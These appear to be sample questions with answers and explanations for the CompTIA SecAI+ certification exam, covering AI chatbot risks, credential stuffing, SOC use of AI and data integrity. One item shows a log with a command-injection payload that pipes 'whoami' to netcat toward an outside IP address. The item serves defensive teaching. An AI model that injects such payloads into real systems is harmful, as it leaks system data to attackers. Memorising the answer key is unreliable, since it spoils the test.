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CompTIA SecAI+ Certification Exam Objectives

EXAM NUMBER: CY0-001 V1

CompTIA SecAI+ CY0-001 V1 Certification Exam
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CompTIA SecAI+ Certification Exam Sample Questions (Q101-Q106):

NEW QUESTION # 101

Which of the following is the most impactful security risk associated with the use of a generative AI chatbot?

- A. Overly permissive access
- B. Weak encryption
- C. Model validation
- D. Data leakage

Answer: D

Explanation:

The most significant risk with generative AI chatbots is data leakage, where sensitive or regulated information could be exposed through prompts or outputs. This risk directly impacts confidentiality and compliance, making it more critical than access scope, encryption, or validation concerns.

NEW QUESTION # 102

Global IPs attempt logins against thousands of accounts with known breached credentials. What attack is occurring?

- A. Credential stuffing
- B. Password spraying
- C. SQL injection
- D. DDoS

Answer: A

Explanation:

Credential stuffing uses leaked username-password pairs.

NEW QUESTION # 103

A global security operations center (SOC) wants to adapt and leverage the strength of AI in order to enhance its security operations. Which of the following is the best way to enhance the global SOC functions?

- A. Enable a personal assistant that can act in the global SOC with no human intervention.
- B. Use open-source models in production to help the efficiency of threat detection and threat analysis.
- C. Summarize alerts to easily gain insights on the environment.
- D. Generate code and execute in production to help save time.

Answer: C

Explanation:

AI can significantly enhance SOC operations by summarizing and correlating high volumes of alerts, enabling analysts to quickly identify patterns, prioritize threats, and gain actionable insights. This reduces analyst fatigue and improves response times without introducing unsafe automation risks.

NEW QUESTION # 104

An employee wants a consulting company to procure a data set that contains age, ethnicity, and diabetes status. During development, the employer wants to ensure the integrity of the data. Which of the following is the best strategy to accomplish this task?

- A. Implementing checksums
- B. Conducting human evaluation
- C. Enabling log monitoring
- D. Querying the model

Answer: A

Explanation:

Checksums ensure data integrity by detecting any unauthorized or accidental changes to the dataset. This provides a reliable way to confirm that sensitive attributes such as age, ethnicity, and diabetes status remain unaltered during development.

NEW QUESTION # 105

A security analyst receives an alert about an AI system and is investigating the following output:

```
ALERT: Local command run from unexpected service account  
  
POST /handler/v1/message='speak to an operator. }\n#SELF#CHECK#\n; sub.popen('whoami | nc 11.22.33.44' 80 &\n)'  
  
500 Internal Error
```

Which of the following is the most appropriate control the analyst should recommend?

- A. Hardening the Model Context Protocol server
- B. Integrating data sanitization
- C. Monitoring logs for attack words from the system
- **D. Implementing user input validation**

Answer: D

Explanation:

The output shows a command injection attempt (sub.popen('whoami | nc 11.22.33.44'...)) embedded in user input. The most effective control is user input validation, which prevents untrusted or malicious inputs from being executed as system commands, thereby securing the AI system against injection attacks.

NEW QUESTION # 106

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